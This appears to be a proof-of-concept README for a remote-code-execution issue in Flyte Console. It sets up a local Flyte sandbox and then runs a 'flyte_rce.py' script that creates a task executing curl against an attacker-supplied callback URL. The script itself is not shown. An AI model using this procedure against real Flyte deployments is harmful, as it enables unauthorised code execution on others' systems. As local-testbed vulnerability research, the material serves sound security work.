Follow these steps to set up a testbed for Flyte Console:
-
Set the Flyte Helm Chart Version: For this setup, we're using version 1.13.1. You can find a list of all available versions at Artifact Hub.
export FLYTE_HELM_CHART_VERSION=1.13.1 -
Run Flyte Sandbox: Run the following command to start the Flyte Sandbox environment.
docker run --rm --privileged -e FLYTE_VERSION=${FLYTE_HELM_CHART_VERSION} \ -p 30080:30080 -p 30081:30081 -p 30082:30082 -p 30084:30084 \ cr.flyte.org/flyteorg/flyte-sandbox:v1.15.3This setup will make the Flyte Console accessible at
http://localhost:30081/consoleand the API available athttp://localhost:30081/api/v1/.
- Install flytekit using the following command
pip3 install flytekit- Execute the
flyte_rce.pyscript to perform RCE by invoking the callback URL. The usage details are provided below.
python3 flyte_rce.py --url http://localhost:30081 --callback_url $CALLBACK_URLflyte_rce.py script creates a task within the default project flytesnacks and domain development, utilizing the docker.io/nginx:latest Docker image, and runs the curl command with the specified --callback_url parameter.